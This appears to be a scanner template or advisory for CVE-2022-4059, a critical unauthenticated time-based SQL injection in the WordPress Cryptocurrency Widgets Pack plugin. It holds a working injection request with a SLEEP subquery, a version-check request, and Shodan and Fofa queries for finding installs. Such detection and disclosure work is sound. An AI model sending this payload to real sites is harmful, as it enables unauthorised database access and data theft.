| Title | Cryptocurrency Widgets Pack < 2.0 - SQL Injection |
|---|---|
| Author | r3Y3r53 |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute time-based blind SQL injection through the columns[0][name] parameter in the mcwp_table AJAX action, potentially extracting sensitive database information including cryptocurrency data, user credentials, and plugin configuration. |
| Remediation | Fixed in version 2.0 |
| CVSS Score | 9.8 |
| EPSS Score | 0.75778 |
| CVE ID | CVE-2022-4059 |
| CWE ID | CWE-89 |
| Shodan Query | http.html:/wp-content/plugins/cryptocurrency-widgets-pack/ |
| Fofa Query | body=/wp-content/plugins/cryptocurrency-widgets-pack/ |
| Tags | time-based-sqli cve cve2022 wp wp-plugin wordpress wpscan sqli blocksera vuln |
The plugin does not sanitise and escape some parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.
GET /wp-admin/admin-ajax.php?action=mcwp_table&mcwp_id=1&order[0][column]=0&columns[0][name]=name+AND+(SELECT+1+FROM+(SELECT(SLEEP(7)))aaaa)--+- HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/cryptocurrency-widgets-pack/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
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